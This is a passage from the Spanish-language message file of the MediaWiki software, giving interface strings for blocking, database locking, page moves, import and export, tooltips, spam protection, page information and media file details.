'ipb_cant_unblock' => "'''Error''': Número ID $1 de bloqueo no encontrado. Pudo haber sido desbloqueado ya.",
'ipb_blocked_as_range' => 'Error: la dirección IP $1 no está bloqueada directamente y no puede ser desbloqueada.
Sin embargo, está bloqueada como parte del rango $2, que puede ser desbloqueado.',
'ip_range_invalid' => 'El rango de IP no es válido.',
'ip_range_toolarge' => 'Los bloqueos de rango superiores a /$1 no están permitidos.',
'proxyblocker' => 'Bloqueador de proxies',
'proxyblockreason' => 'Su dirección IP ha sido bloqueada porque es un proxy abierto. Por favor, contacte con su proveedor de servicios de Internet o con su servicio de asistencia técnica e infórmeles de este grave problema de seguridad.',
'sorbsreason' => 'Su dirección IP está listada como proxy abierto en DNSBL.',
'sorbs_create_account_reason' => 'Su dirección IP está listada como proxy abierto en DNSBL. No puede crear una cuenta',
'xffblockreason' => 'Una dirección IP presente en la cabecera X-Forwarded-For, tuya o del servidor proxy que estás usando, ha sido bloqueada. El motivo original del bloqueo fue: $1',
'cant-see-hidden-user' => 'El usuario que está intentando bloquear ya ha sido bloqueado y oculto. Puesto que usted no tiene el derecho hideuser, usted no puede ver o editar los bloqueos del usuario.',
'ipbblocked' => 'No puedes bloquear o desbloquear a otros usuarios porque estás bloqueado',
'ipbnounblockself' => 'No puedes desbloquearte',
# Developer tools
'lockdb' => 'Bloquear la base de datos',
'unlockdb' => 'Desbloquear la base de datos',
'lockdbtext' => 'El bloqueo de la base de datos impedirá a todos los usuarios editar páginas, cambiar sus preferencias, modificar sus listas de seguimiento y cualquier otra función que requiera realizar cambios en la base de datos. Por favor, confirme que ésto es precisamente lo que quiere hacer y que desbloqueará la base de datos tan pronto haya finalizado las operaciones de mantenimiento.',
'unlockdbtext' => 'El desbloqueo de la base de datos permitirá a todos los usuarios editar páginas, cambiar sus preferencias, modificar sus listas de seguimiento y cualesquiera otras funciones que impliquen modificar la base de datos. Por favor, confirme que esto es precisamente lo que quiere hacer.',
'lockconfirm' => 'Sí, realmente quiero bloquear la base de datos.',
'unlockconfirm' => 'Sí, realmente quiero desbloquear la base de datos.',
'lockbtn' => 'Bloquear la base de datos',
'unlockbtn' => 'Desbloquear la base de datos',
'locknoconfirm' => 'No ha confirmado lo que desea hacer.',
'lockdbsuccesssub' => 'El bloqueo se ha realizado con éxito',
'unlockdbsuccesssub' => 'El desbloqueo se ha realizado con éxito',
'lockdbsuccesstext' => 'La base de datos de {{SITENAME}} ha sido bloqueada.
<br />Recuerde retirar el bloqueo después de completar las tareas de mantenimiento.',
'unlockdbsuccesstext' => 'La base de datos de {{SITENAME}} ha sido desbloqueada.',
'lockfilenotwritable' => 'El archivo-cerrojo de la base de datos no tiene permiso de escritura. Para bloquear o desbloquear la base de datos, este archivo tiene que ser escribible por el servidor web.',
'databasenotlocked' => 'La base de datos no está bloqueada.',
'lockedbyandtime' => '(por {{GENDER:$1|$1}} el $2 a las $3)',
# Move page
'move-page' => 'Trasladar $1',
'move-page-legend' => 'Renombrar página',
'movepagetext' => "Mediante el siguiente formulario puedes renombrar una página, moviendo todo su historial al nombre nuevo.
El título anterior redirigirá al nuevo.
Puedes actualizar automáticamente las redirecciones que apuntan al título original.
Si eliges no hacerlo, asegúrate de revisar posibles redirecciones [[Special:DoubleRedirects|dobles]] o [[Special:BrokenRedirects|rotas]].
Tú eres responsable de asegurar que los enlaces continúen funcionando correctamente.
Nota que la página '''no''' se moverá si ya hay una página con el título nuevo, a menos de que ésta sea una redirección y no tenga historial de ediciones pasadas.
Esto significa que puedes deshacer el renombrado en caso de un error, y que no puedes sobreescribir una página existente.
'''Aviso'''
Esto puede representar un cambio drástico e inesperado para una página popular;
asegúrate de entender las consecuencias de esta acción antes de proceder.",
'movepagetext-noredirectfixer' => "Usando el siguiente formulario se renombrará una página, trasladando todo su historial al nuevo nombre.
El título anterior se convertirá en una redirección al nuevo título.
Asegúrate de no dejar [[Special:DoubleRedirects|redirecciones dobles]] o [[Special:BrokenRedirects|rotas]].
Tú eres responsable de hacer que los enlaces sigan apuntando adonde se supone que deberían hacerlo.
Recuerda que la página '''no''' será renombrada si ya existe una página con el nuevo título, a no ser que sea una página vacía o una redirección sin historial.
Esto significa que podrás renombrar una página a su título original si has cometido un error, pero que no podrás sobrescribir una página existente.
'''¡Aviso!'''
Este puede ser un cambio drástico e inesperado para una página popular;
por favor, asegúrate de entender las consecuencias del procedimiento antes de seguir adelante.",
'movepagetalktext' => "La página de discusión asociada, si existe, será renombrada automáticamente '''a menos que:'''
*Estés trasladando la página entre espacios de nombres diferentes,
*Una página de discusión no vacía ya exista con el nombre nuevo, o
*No marques el recuadro «Renombrar la página de discusión asociada».
En estos casos, deberás trasladar manualmente el contenido de la página de discusión.",
'movearticle' => 'Renombrar página',
'moveuserpage-warning' => "'''Aviso:''' estás a punto de trasladar una página de usuario. Ten en cuenta que solo será trasladada la página; el usuario '''no''' será renombrado.",
'movenologintext' => 'Es necesario ser usuario registrado y [[Special:UserLogin|haber iniciado sesión]] para renombrar una página.',
'movenotallowed' => 'No tienes permiso para trasladar páginas.',
'movenotallowedfile' => 'No tienes permiso para trasladar archivos.',
'cant-move-user-page' => 'No tienes permiso para trasladar páginas de usuario (excepto subpáginas).',
'cant-move-to-user-page' => 'No tienes permiso para trasladar una página a una página de usuario (excepto a subpáginas de usuario).',
'newtitle' => 'A título nuevo:',
'move-watch' => 'Vigilar páginas de origen y destino',
'movepagebtn' => 'Renombrar página',
'pagemovedsub' => 'Renombrado realizado con éxito',
'movepage-moved' => "'''«$1» ha sido trasladado a «$2».'''",
'movepage-moved-redirect' => 'Se ha creado una redirección.',
'movepage-moved-noredirect' => 'Se ha suprimido la creación de la redirección.',
'articleexists' => 'Ya existe una página con ese nombre, o el nombre que has escogido no es válido.
Por favor, elige otro nombre.',
'cantmove-titleprotected' => 'No puedes trasladar la página a esta ubicación, porque el nuevo título ha sido protegido para evitar su creación.',
'movetalk' => 'Renombrar la página de discusión asociada',
'move-subpages' => 'Intentar trasladar las subpáginas (hasta $1)',
'move-talk-subpages' => 'Intentar trasladar las subpáginas de discusión (hasta $1)',
'movepage-page-exists' => 'La página $1 ya existe, por lo que no puede ser renombrada automáticamente.',
'movepage-page-moved' => 'La página $1 ha sido trasladada a $2.',
'movepage-page-unmoved' => 'La página $1 no se ha podido trasladar a $2.',
'movepage-max-pages' => 'Se {{PLURAL:$1|ha trasladado un máximo de una página|han trasladado un máximo de $1 páginas}}, y no van a trasladarse más automáticamente.',
'movelogpage' => 'Registro de traslados',
'movelogpagetext' => 'Abajo se encuentra una lista de páginas trasladadas.',
'movesubpage' => '{{PLURAL:$1|Subpágina|Subpáginas}}',
'movesubpagetext' => 'Esta página tiene {{PLURAL:$1|la siguiente subpágina|las siguientes $1 subpáginas}}:',
'movenosubpage' => 'Esta página no tiene subpáginas.',
'movereason' => 'Motivo:',
'revertmove' => 'revertir',
'delete_and_move' => 'Borrar y trasladar',
'delete_and_move_text' => '==Se necesita borrado==
La página de destino ("[[:$1]]") ya existe. ¿Quiere borrarla para permitir al traslado?',
'delete_and_move_confirm' => 'Sí, borrar la página',
'delete_and_move_reason' => 'Borrada para trasladar [[$1]]',
'selfmove' => 'Los títulos de origen y destino son los mismos;
no se puede trasladar una página sobre sí misma.',
'immobile-source-namespace' => 'No se pueden trasladar páginas en el espacio de nombres «$1»',
'immobile-target-namespace' => 'No se puede trasladar páginas al espacio de nombres «$1»',
'immobile-target-namespace-iw' => 'Un enlace interwiki no es un destino válido para trasladar una página.',
'immobile-source-page' => 'Esta página no se puede renombrar.',
'immobile-target-page' => 'No se puede trasladar a tal título.',
'bad-target-model' => 'El destino deseado utiliza un modelo diferente de contenido. No se puede realizar la conversión de $1 a $2.',
'imagenocrossnamespace' => 'No se puede trasladar el fichero a otro espacio de nombres',
'nonfile-cannot-move-to-file' => 'No es posible trasladar lo que no es un archivo al espacio de nombres de archivo',
'imagetypemismatch' => 'La nueva extensión de archivo no corresponde con su tipo',
'imageinvalidfilename' => 'El nombre del fichero de destino no es válido',
'fix-double-redirects' => 'Actualizar las redirecciones que apuntan al título original',
'move-leave-redirect' => 'Dejar una redirección',
'protectedpagemovewarning' => "'''Advertencia:''' Esta página ha sido bloqueada de tal manera que solamente usuarios con privilegios de administrador puedan trasladarla.
A continuación se muestra la última entrada de registro para referencia:",
'semiprotectedpagemovewarning' => "'''Nota:''' Esta página ha sido bloqueada para que solamente usuarios registrados pueden moverla.
A continuación se muestra la última entrada de registro para referencia:",
'move-over-sharedrepo' => '== El archivo existe ==
[[:$1]] existe en un repositorio compartido. El traslado a este título invalidará la compartición del archivo.',
'file-exists-sharedrepo' => 'El nombre de archivo elegido ya está siendo usado en un repositorio compartido.
Por favor, elige otro nombre.',
# Export
'export' => 'Exportar páginas',
'exporttext' => 'Puedes exportar el texto y el historial de ediciones de una página en particular o de un conjunto de páginas a un texto XML. En el futuro, este texto podría importarse en otro wiki que ejecutase MediaWiki a través de [[Special:Import|importar página]].
Para exportar páginas, escribe los títulos en la caja de texto de abajo, un título por línea, y selecciona si quieres la versión actual junto a las versiones anteriores, con las líneas del historial, o sólo la versión actual con la información sobre la última edición.
En el último caso también puedes usar un enlace, por ejemplo [[{{#Special:Export}}/{{MediaWiki:Mainpage}}]] para la página "[[{{MediaWiki:Mainpage}}]]".',
'exportall' => 'Exportar todas las páginas',
'exportcuronly' => 'Incluye sólo la revisión actual, no el historial de revisiones al completo.',
'exportnohistory' => "----
'''Nota:''' Exportar el historial completo de páginas a través de este formulario ha sido deshabilitado debido a problemas de rendimiento del servidor.",
'exportlistauthors' => 'Incluir una lista completa de colaboradores para cada página',
'export-submit' => 'Exportar',
'export-addcattext' => 'Añadir páginas desde la categoría:',
'export-addcat' => 'Añadir',
'export-addnstext' => 'Agregar páginas del nombre del sitio:',
'export-addns' => 'Agregar',
'export-download' => 'Guardar como archivo',
'export-templates' => 'Incluir plantillas',
'export-pagelinks' => 'Incluir páginas enlazadas a una profundidad de:',
# Namespace 8 related
'allmessages' => 'Todos los mensajes de MediaWiki',
'allmessagesname' => 'Nombre',
'allmessagesdefault' => 'Texto predeterminado',
'allmessagescurrent' => 'Texto actual',
'allmessagestext' => 'Esta es una lista de mensajes del sistema disponibles en el espacio de nombres MediaWiki:
Por favor visita [https://www.mediawiki.org/wiki/Localisation Localización MediaWiki] y [//translatewiki.net translatewiki.net] si deseas contribuir con la localización genérica MediaWiki.',
'allmessagesnotsupportedDB' => "Esta página no está disponible porque '''\$wgUseDatabaseMessages''' está deshabilitado.",
'allmessages-filter-legend' => 'Filtro',
'allmessages-filter' => 'Filtrar por estado de personalización:',
'allmessages-filter-unmodified' => 'Sin modificar',
'allmessages-filter-all' => 'Todos',
'allmessages-filter-modified' => 'Modificados',
'allmessages-prefix' => 'Filtrar por prefijo:',
'allmessages-language' => 'Idioma:',
'allmessages-filter-submit' => 'Ir',
'allmessages-filter-translate' => 'Traducir',
# Thumbnails
'thumbnail-more' => 'Aumentar',
'filemissing' => 'Falta archivo',
'thumbnail_error' => 'Error al crear miniatura: $1',
'thumbnail_error_remote' => 'Mensaje de error de $1 :
$2',
'djvu_page_error' => 'Página DjVu fuera de rango',
'djvu_no_xml' => 'Imposible obtener XML para el archivo DjVu',
'thumbnail-temp-create' => 'No se ha podido crear el archivo temporal de la miniatura',
'thumbnail-dest-create' => 'No se ha podido guardar la miniatura',
'thumbnail_invalid_params' => 'Parámetros del thumbnail no válidos',
'thumbnail_dest_directory' => 'Incapaz de crear el directorio de destino',
'thumbnail_image-type' => 'Tipo de imagen no contemplado',
'thumbnail_gd-library' => 'Configuración de la librería GD incompleta: falta la función $1',
'thumbnail_image-missing' => 'El fichero parece no existir: $1',
# Special:Import
'import' => 'Importar páginas',
'importinterwiki' => 'Importación transwiki',
'import-interwiki-text' => 'Selecciona un wiki y un título de página para importar.
Las fechas de revisiones y los nombres de editores se preservarán.
Todas las importaciones transwiki se registran en el [[Special:Log/import|registro de importaciones]].',
'import-interwiki-source' => 'Wiki o página origen:',
'import-interwiki-history' => 'Copiar todas las versiones históricas para esta página',
'import-interwiki-templates' => 'Incluir todas las plantillas',
'import-interwiki-submit' => 'Importar',
'import-interwiki-namespace' => 'Espacio de nombres de destino:',
'import-interwiki-rootpage' => 'Página raíz del destino (opcional):',
'import-upload-filename' => 'Nombre de archivo:',
'import-comment' => 'Comentario:',
'importtext' => 'Por favor, exporta el archivo desde el wiki de origen usando la [[Special:Export|herramienta de exportación]], guárdalo en tu disco y súbelo aquí.',
'importstart' => 'Importando páginas...',
'import-revision-count' => '$1 {{PLURAL:$1|revisión|revisiones}}',
'importnopages' => 'No hay páginas que importar.',
'imported-log-entries' => 'Importados $1 {{PLURAL:$1|entradas de registro|entradas de registro}}.',
'importfailed' => 'La importación ha fallado: $1',
'importunknownsource' => 'Tipo de fuente de importación desconocida',
'importcantopen' => 'No se pudo importar el archivo',
'importbadinterwiki' => 'Enlace interwiki anómalo',
'importnotext' => 'Vacío o sin texto',
'importsuccess' => '¡La importación se ha realizado con éxito!',
'importhistoryconflict' => 'Existen revisiones en conflicto en el historial (puede que se haya importado esta página antes)',
'importnosources' => 'No hay fuentes de importación transwiki y no está permitido subir directamente el historial.',
'importnofile' => 'No se subieron archivos de importación.',
'importuploaderrorsize' => 'Falló la carga del archivo de importaciones.
Su tamaño es superior al máximo permitido.',
'importuploaderrorpartial' => 'Falló la subida del fichero de importación.
Se subió sólo parcialmente.',
'importuploaderrortemp' => 'Falló la subida del fichero de importación.
No hay un directorio temporal.',
'import-parse-failure' => 'Error de lectura al importar XML',
'import-noarticle' => '¡No hay páginas para importar!',
'import-nonewrevisions' => 'Ninguna revisión fue importada (todas ya estaban presentes o fueron omitido debido a errores).',
'xml-error-string' => '$1 en la línea $2, col $3 (byte $4): $5',
'import-upload' => 'Subir datos XML',
'import-token-mismatch' => 'Pérdida de datos de sesión. Por favor, inténtalo de nuevo.',
'import-invalid-interwiki' => 'No se puede importar de la wiki especificada.',
'import-error-edit' => 'La página $1 no se importó porque no tienes permisos para editarla.',
'import-error-create' => 'La página «$1» no se importó porque no tienes permisos para crearla.',
'import-error-interwiki' => 'La página "$1" no se ha importado porque su nombre está reservado para la vinculación externa (interwikis).',
'import-error-special' => 'La página "$1" no se ha importado porque pertenece a un espacio de nombres especial que no admite páginas.',
'import-error-invalid' => 'La página "$1" no se ha importado porque su nombre no es válido.',
'import-error-unserialize' => 'La revisión $2 de la página "$1" no pudo dejar de hacerse en serie. Se informó de la revisión para utilizar el modelo de contenidos $3 ejecutado en serie como $4.',
'import-options-wrong' => '{{PLURAL:$2|Opción errónea|Opciones erróneas}}: <nowiki>$1</nowiki>',
'import-rootpage-invalid' => 'La página raíz dada es un título inválido.',
'import-rootpage-nosubpage' => 'El espacio de nombres "$1" de la página raíz no permite subpáginas.',
# Import log
'importlogpage' => 'Registro de importaciones',
'importlogpagetext' => 'Importaciones administrativas de páginas con historial desde otros wikis.',
'import-logentry-upload' => 'importó [[$1]] por subida de archivo',
'import-logentry-upload-detail' => '$1 {{PLURAL:$1|revisión|revisiones}}',
'import-logentry-interwiki' => 'transwikificada $1',
'import-logentry-interwiki-detail' => '$1 {{PLURAL:$1|revisión|revisiones}} desde $2',
# JavaScriptTest
'javascripttest' => 'Pruebas de JavaScript',
'javascripttest-title' => 'Pruebas de $1 en ejecución',
'javascripttest-pagetext-noframework' => 'Esta página está reservada para ejecutar pruebas de JavaScript.',
'javascripttest-pagetext-unknownframework' => 'Marco de pruebas desconocido "$1".',
'javascripttest-pagetext-frameworks' => 'Por favor, seleccione uno de los marcos de pruebas siguientes: $1',
'javascripttest-pagetext-skins' => 'Elija un aspecto (skin) para ejecutar las pruebas:',
'javascripttest-qunit-intro' => 'Consulte la [$1 documentación sobre las pruebas] en mediawiki.org.',
'javascripttest-qunit-heading' => 'Conjunto de pruebas MediaWiki JavaScript QUnit',
# Tooltip help for the actions
'tooltip-pt-userpage' => 'Tu página de {{gender:|usuario|usuaria}}',
'tooltip-pt-anonuserpage' => 'La página de usuario de la IP desde la que editas',
'tooltip-pt-mytalk' => 'Tu página de discusión',
'tooltip-pt-anontalk' => 'Discusión sobre ediciones hechas desde esta dirección IP',
'tooltip-pt-preferences' => 'Tus preferencias',
'tooltip-pt-watchlist' => 'Lista de páginas cuyos cambios vigilas',
'tooltip-pt-mycontris' => 'Lista de tus contribuciones',
'tooltip-pt-login' => 'Te recomendamos iniciar sesión, sin embargo no es obligatorio',
'tooltip-pt-logout' => 'Salir de la sesión',
'tooltip-ca-talk' => 'Discusión acerca del artículo',
'tooltip-ca-edit' => 'Puedes editar esta página. Utiliza el botón de previsualización antes de guardar',
'tooltip-ca-addsection' => 'Inicia una nueva sección',
'tooltip-ca-viewsource' => 'Esta página está protegida.
Puedes ver su código fuente',
'tooltip-ca-history' => 'Versiones anteriores de esta página y sus autores',
'tooltip-ca-protect' => 'Proteger esta página',
'tooltip-ca-unprotect' => 'Cambiar protección de esta página',
'tooltip-ca-delete' => 'Borrar esta página',
'tooltip-ca-undelete' => 'Restaurar las ediciones hechas a esta página antes de que fuese borrada',
'tooltip-ca-move' => 'Trasladar esta página',
'tooltip-ca-watch' => 'Añadir esta página a tu lista de seguimiento',
'tooltip-ca-unwatch' => 'Borrar esta página de su lista de seguimiento',
'tooltip-search' => 'Buscar en {{SITENAME}}',
'tooltip-search-go' => 'Ir al artículo con este nombre exacto si existe',
'tooltip-search-fulltext' => 'Busca este texto en las páginas',
'tooltip-p-logo' => 'Visitar la página principal',
'tooltip-n-mainpage' => 'Visitar la página principal',
'tooltip-n-mainpage-description' => 'Visitar la página principal',
'tooltip-n-portal' => 'Acerca del proyecto, lo que puedes hacer, dónde encontrar información',
'tooltip-n-currentevents' => 'Información de contexto sobre acontecimientos actuales',
'tooltip-n-recentchanges' => 'Lista de cambios recientes en el wiki',
'tooltip-n-randompage' => 'Cargar una página al azar',
'tooltip-n-help' => 'El lugar para aprender',
'tooltip-t-whatlinkshere' => 'Lista de todas las páginas del wiki que enlazan aquí',
'tooltip-t-recentchangeslinked' => 'Cambios recientes en las páginas que enlazan con ésta',
'tooltip-feed-rss' => 'Sindicación RSS de esta página',
'tooltip-feed-atom' => 'Sindicación Atom de esta página',
'tooltip-t-contributions' => 'Lista de contribuciones de este usuario',
'tooltip-t-emailuser' => 'Enviar un mensaje de correo a este usuario',
'tooltip-t-upload' => 'Subir imágenes o archivos multimedia',
'tooltip-t-specialpages' => 'Lista de todas las páginas especiales',
'tooltip-t-print' => 'Versión imprimible de esta página',
'tooltip-t-permalink' => 'Enlace permanente a esta versión de la página',
'tooltip-ca-nstab-main' => 'Ver el artículo',
'tooltip-ca-nstab-user' => 'Ver la página de usuario',
'tooltip-ca-nstab-media' => 'Ver la página de multimedia',
'tooltip-ca-nstab-special' => 'Esta es una página especial, no se puede editar la página en sí',
'tooltip-ca-nstab-project' => 'Ver la página de proyecto',
'tooltip-ca-nstab-image' => 'Ver la página de la imagen',
'tooltip-ca-nstab-mediawiki' => 'Ver el mensaje de sistema',
'tooltip-ca-nstab-template' => 'Ver la plantilla',
'tooltip-ca-nstab-help' => 'Ver la página de ayuda',
'tooltip-ca-nstab-category' => 'Ver la página de categoría',
'tooltip-minoredit' => 'Marcar este cambio como menor',
'tooltip-save' => 'Guardar los cambios',
'tooltip-preview' => 'Previsualiza los cambios realizados. ¡Por favor, hazlo antes de grabar!',
'tooltip-diff' => 'Muestra los cambios que ha introducido en el texto.',
'tooltip-compareselectedversions' => 'Ver las diferencias entre las dos versiones seleccionadas de esta página.',
'tooltip-watch' => 'Añadir esta página a tu lista de seguimiento',
'tooltip-watchlistedit-normal-submit' => 'Borrar páginas',
'tooltip-watchlistedit-raw-submit' => 'Actualizar lista de seguimiento',
'tooltip-recreate' => 'Recupera una página que ha sido borrada',
'tooltip-upload' => 'Empieza la subida',
'tooltip-rollback' => '«Revertir» revierte todas las ediciones del último usuario con un solo clic.',
'tooltip-undo' => '«Deshacer» revierte la edición seleccionada y abre la página de edición en el modo de previsualización.
Permite añadir una razón al resumen de edición.',
'tooltip-preferences-save' => 'Guardar las preferencias',
'tooltip-summary' => 'Introduce un breve resumen',
'interlanguage-link-title' => '$1 ($2)',
# Stylesheets
'common.css' => '/* El CSS colocado en esta página será aplicado a todas las apariencias */',
'cologneblue.css' => '/* El CSS colocado en esta página afectará a los usuarios que usen la apariencia Cologne Blue */',
'monobook.css' => '/* El CSS colocado en esta página afectará a los usuarios que usen la apariencia "MonoBook" */',
'modern.css' => '/* El CSS colocado en esta página afectará a los usuarios que usen la apariencia Moderna */',
'vector.css' => '/* El CSS colocado en esta página afectará a los usuarios que usen la apariencia "Vector" */',
'print.css' => '/* Los estilos CSS colocados aquí afectarán la impresión */',
'noscript.css' => '/* Los estilos CSS colocados aquí se aplicarán a los usuarios que hayan desactivado el JavaScript en su navegador */',
'group-autoconfirmed.css' => '/* Los estilos CSS colocados aquí se aplicarán para todos los usuarios del grupo Usuarios autoconfirmados */',
'group-bot.css' => '/* Los estilos CSS colocados aquí se aplicarán para todos los usuarios del grupo Bots */',
'group-sysop.css' => '/* Los estilos CSS colocados aquí se aplicarán para todos los usuarios del grupo Administradores */',
'group-bureaucrat.css' => '/* Los estilos CSS colocados aquí se aplicarán para todos los usuarios del grupo Burócratas */',
# Scripts
'common.js' => '/* Cualquier código JavaScript escrito aquí se cargará para todos los usuarios en cada carga de página */',
'cologneblue.js' => '/* Cualquier código JavaScript escrito aquí se cargará para todos los usuarios que usen la piel Colonia azul */',
'monobook.js' => '/* El código JavaScript que se ponga aquí será cargado por los usuarios de la apariencia MonoBook */',
'modern.js' => '/* Cualquier código JavaScript escrito aquí se cargará para todos los usuarios que usen la apariencia Moderna */',
'vector.js' => '/* Cualquier código JavaScript escrito aquí se cargará para todos los usuarios que usen la apariencia Vector */',
'group-autoconfirmed.js' => '/* Cualquier código JavaScript escrito aquí se cargará para todos los usuarios del grupo Usuarios autoconfirmados */',
'group-bot.js' => '/* Cualquier código JavaScript escrito aquí se cargará para todos los usuarios del grupo Bots */',
'group-sysop.js' => '/* Cualquier código JavaScript escrito aquí se cargará para todos los usuarios del grupo Administradores */',
'group-bureaucrat.js' => '/* Cualquier código JavaScript escrito aquí se cargará para todos los usuarios del grupo Burócratas */',
# Metadata
'notacceptable' => 'El servidor wiki no puede proveer los datos en un formato que su cliente (navegador) pueda entender.',
# Attribution
'anonymous' => '{{PLURAL:$1|Usuario anónimo|Usuarios anónimos}} de {{SITENAME}}',
'siteuser' => '{{GENDER:$1|Usuario|Usuaria}} $1 de {{SITENAME}}',
'anonuser' => '{{SITENAME}} usuario anónimo $1',
'lastmodifiedatby' => 'Esta página fue modificada por última vez en $2, $1 por $3.',
'othercontribs' => 'Basado en el trabajo de $1.',
'others' => 'otros',
'siteusers' => '{{PLURAL:$2|Usuario|Usuarios}} $1 de {{SITENAME}}',
'anonusers' => '{{SITENAME}} {{PLURAL:$2|usuario|usuarios}} anónimos $1',
'creditspage' => 'Créditos de la página',
'nocredits' => 'No hay información de créditos para esta página.',
# Spam protection
'spamprotectiontitle' => 'Filtro de protección contra spam',
'spamprotectiontext' => 'La página que quería guardar fue bloqueada por el filtro de spam.
Esto podría estar causado por un enlace a un sitio externo incluido en la lista negra.',
'spamprotectionmatch' => 'El siguiente texto es el que activó nuestro filtro de spam: $1',
'spambot_username' => 'Limpieza de spam de MediaWiki',
'spam_reverting' => 'Revirtiendo a la última versión que no contenga enlaces a $1',
'spam_blanking' => 'Todas las revisiones contienen enlaces a $1, blanqueando',
'spam_deleting' => 'Todas las revisiones que contienen enlaces a $1, en proceso de eliminación',
'simpleantispam-label' => 'Comprobación anti-spam
¡NO rellenes esto!',
# Info page
'pageinfo-title' => 'Información para «$1»',
'pageinfo-not-current' => 'Lo sentimos, no es posible mostrar esta información para las revisiones antiguas.',
'pageinfo-header-basic' => 'Información básica',
'pageinfo-header-edits' => 'Historial de ediciones',
'pageinfo-header-restrictions' => 'Protección de página',
'pageinfo-header-properties' => 'Propiedades de página',
'pageinfo-display-title' => 'Visualizar el título',
'pageinfo-default-sort' => 'Criterio de ordenación predeterminado',
'pageinfo-length' => 'Longitud de la página (en bytes)',
'pageinfo-article-id' => 'Identificador ID de la página',
'pageinfo-language' => 'Idioma de la página',
'pageinfo-content-model' => 'Modelo de contenido de la página',
'pageinfo-robot-policy' => 'Indización por robots',
'pageinfo-robot-index' => 'Permitido',
'pageinfo-robot-noindex' => 'No permitido',
'pageinfo-views' => 'Número de vistas',
'pageinfo-watchers' => 'Número de usuarios que vigilan la página',
'pageinfo-few-watchers' => 'Menos de $1 {{PLURAL:$1|vigilante|vigilantes}}',
'pageinfo-redirects-name' => 'Número de redirecciones a esta página',
'pageinfo-redirects-value' => '$1',
'pageinfo-subpages-name' => 'Subpáginas de esta página',
'pageinfo-subpages-value' => '$1 ($2 {{PLURAL:$2|redirección|redirecciones}}; $3 {{PLURAL:$3|no-redirección|no-redirecciones}})',
'pageinfo-firstuser' => 'Creador de la página',
'pageinfo-firsttime' => 'Fecha de creación de la página',
'pageinfo-lastuser' => 'Último editor',
'pageinfo-lasttime' => 'Fecha de la última edición',
'pageinfo-edits' => 'Número total de ediciones',
'pageinfo-authors' => 'Número total de autores distintos',
'pageinfo-recent-edits' => 'Número de ediciones recientes (en los últimos $1)',
'pageinfo-recent-authors' => 'Número de autores distintos recientes',
'pageinfo-magic-words' => '{{PLURAL:$1|Palabra mágica|Palabras mágicas}} ($1)',
'pageinfo-hidden-categories' => '{{PLURAL:$1|Categoría oculta|Categorías ocultas}} ($1)',
'pageinfo-templates' => '{{PLURAL:$1|Plantilla incluida|Plantillas incluidas}} ($1)',
'pageinfo-transclusions' => '{{PLURAL:$1|Página incluida|Páginas incluidas}} ($1)',
'pageinfo-toolboxlink' => 'Información de la página',
'pageinfo-redirectsto' => 'Redirige a',
'pageinfo-redirectsto-info' => 'Información',
'pageinfo-contentpage' => 'Contado como página de contenido',
'pageinfo-contentpage-yes' => 'Sí',
'pageinfo-protect-cascading' => 'Protecciones en serie activadas',
'pageinfo-protect-cascading-yes' => 'Sí',
'pageinfo-protect-cascading-from' => 'Protecciones en serie activadas',
'pageinfo-category-info' => 'Información de la categoría',
'pageinfo-category-pages' => 'Número de páginas',
'pageinfo-category-subcats' => 'Número de subcategorías',
'pageinfo-category-files' => 'Número de archivos',
# Skin names
'skinname-cologneblue' => 'Colonia azul',
'skinname-monobook' => 'MonoBook',
'skinname-modern' => 'Moderna',
'skinname-vector' => 'Vector',
# Patrolling
'markaspatrolleddiff' => 'Marcar como revisado',
'markaspatrolledtext' => 'Marcar este artículo como revisado',
'markedaspatrolled' => 'Marcado como revisado',
'markedaspatrolledtext' => 'La revisión seleccionada de [[:$1|$1]] ha sido marcada como revisada.',
'rcpatroldisabled' => 'Se ha desactivado la supervisión de cambios recientes',
'rcpatroldisabledtext' => 'La capacidad de revisar los Cambios Recientes está deshabilitada en este momento.',
'markedaspatrollederror' => 'No se puede marcar como patrullada',
'markedaspatrollederrortext' => 'Debes especificar una revisión para marcarla como patrullada.',
'markedaspatrollederror-noautopatrol' => 'No tienes permisos para marcar tus propios cambios como revisados.',
'markedaspatrollednotify' => 'Este cambio realizado en $1 se ha marcado como revisado.',
'markedaspatrollederrornotify' => 'Error al marcar como revisado.',
# Patrol log
'patrol-log-page' => 'Registro de revisiones',
'patrol-log-header' => 'Este es un registro de revisiones patrulladas.',
'log-show-hide-patrol' => '$1 registro de patrullaje',
# Image deletion
'deletedrevision' => 'Borrada revisión antigua $1',
'filedeleteerror-short' => 'Se produjo un error al borrar el archivo: $1',
'filedeleteerror-long' => 'Se han producido errores mientras se borraba el archivo:
$1',
'filedelete-missing' => 'No se pudo borrar el archivo "$1" porque no existe.',
'filedelete-old-unregistered' => 'La revisión de archivo "$1" no está en la base de datos.',
'filedelete-current-unregistered' => 'El archivo «$1» no existe en la base de datos.',
'filedelete-archive-read-only' => 'El servidor web no logra escribir en el directorio archivo "$1".',
# Browsing diffs
'previousdiff' => '← Edición anterior',
'nextdiff' => 'Edición siguiente →',
# Media information
'mediawarning' => "'''Atención''': Este fichero puede contener código malicioso.
Ejecutarlo podría comprometer la seguridad de su equipo.",
'imagemaxsize' => "Límite de tamaño de imagen:<br />''(para páginas de descripción de archivo)''",
'thumbsize' => 'Tamaño de las vistas en miniatura:',
'widthheight' => '$1 × $2',
'widthheightpage' => '$1 × $2, $3 {{PLURAL:|página|páginas}}',
'file-info' => 'tamaño de archivo: $1; tipo MIME: $2',
'file-info-size' => '$1 × $2 píxeles; tamaño de archivo: $3; tipo MIME: $4',
'file-info-size-pages' => '$1 × $2 píxeles, tamaño de archivo: $3, tipo MIME: $4, $5 {{PLURAL:$5|página|páginas}}',
'file-nohires' => 'No disponible a mayor resolución.',
'svg-long-desc' => 'archivo SVG, nominalmente $1 × $2 píxeles, tamaño de archivo: $3',
'svg-long-desc-animated' => 'Archivo SVG animado, nominalmente de $1 × $2 píxeles, tamaño del archivo: $3',
'svg-long-error' => 'Archivo SVG no válido: $1',
'show-big-image' => 'Archivo original',
'show-big-image-preview' => 'Tamaño de esta previsualización: $1.',
'show-big-image-other' => '{{PLURAL:$2|Otra resolución|Otras resoluciones}}: $1.',
'show-big-image-size' => '$1 × $2 píxeles',
'file-info-gif-looped' => 'bucleado',
'file-info-gif-frames' => '$1 {{PLURAL:$1|frame|frames}}',
'file-info-png-looped' => 'bucleado',
'file-info-png-repeat' => 'reproducido $1 {{PLURAL:$1|vez|veces}}',
'file-info-png-frames' => '$1 {{PLURAL:$1|marco|marcos}}',
'file-no-thumb-animation' => "'''Nota: debido a limitaciones técnicas, las miniaturas de este archivo no están animadas.'''",
